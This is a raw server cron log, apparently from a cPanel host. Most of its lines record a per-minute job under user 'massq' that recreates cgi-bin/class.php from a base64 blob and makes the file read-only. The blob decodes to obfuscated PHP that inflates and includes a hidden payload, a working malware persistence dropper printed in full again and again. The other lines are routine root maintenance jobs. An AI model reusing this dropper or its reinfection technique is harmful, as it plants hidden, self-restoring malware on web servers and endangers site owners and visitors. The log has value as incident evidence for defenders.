Nov 15 14:23:01 server CROND[25654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:24:01 server CROND[25910]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:25:01 server CROND[26324]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:25:01 server CROND[26323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:25:01 server CROND[26325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:25:01 server CROND[26326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:26:01 server CROND[26651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:27:01 server CROND[26915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:27:01 server CROND[26916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 14:28:01 server CROND[27170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:29:01 server CROND[27433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:30:01 server CROND[27695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:30:01 server CROND[27696]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 14:30:01 server CROND[27699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:30:01 server CROND[27698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:31:01 server CROND[28110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:32:01 server CROND[28427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:33:01 server CROND[28740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:34:01 server CROND[29001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:35:01 server CROND[29261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 14:35:01 server CROND[29262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 14:35:01 server CROND[29263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 14:35:01 server CROND[29264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 14:35:01 server CROND[29265]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
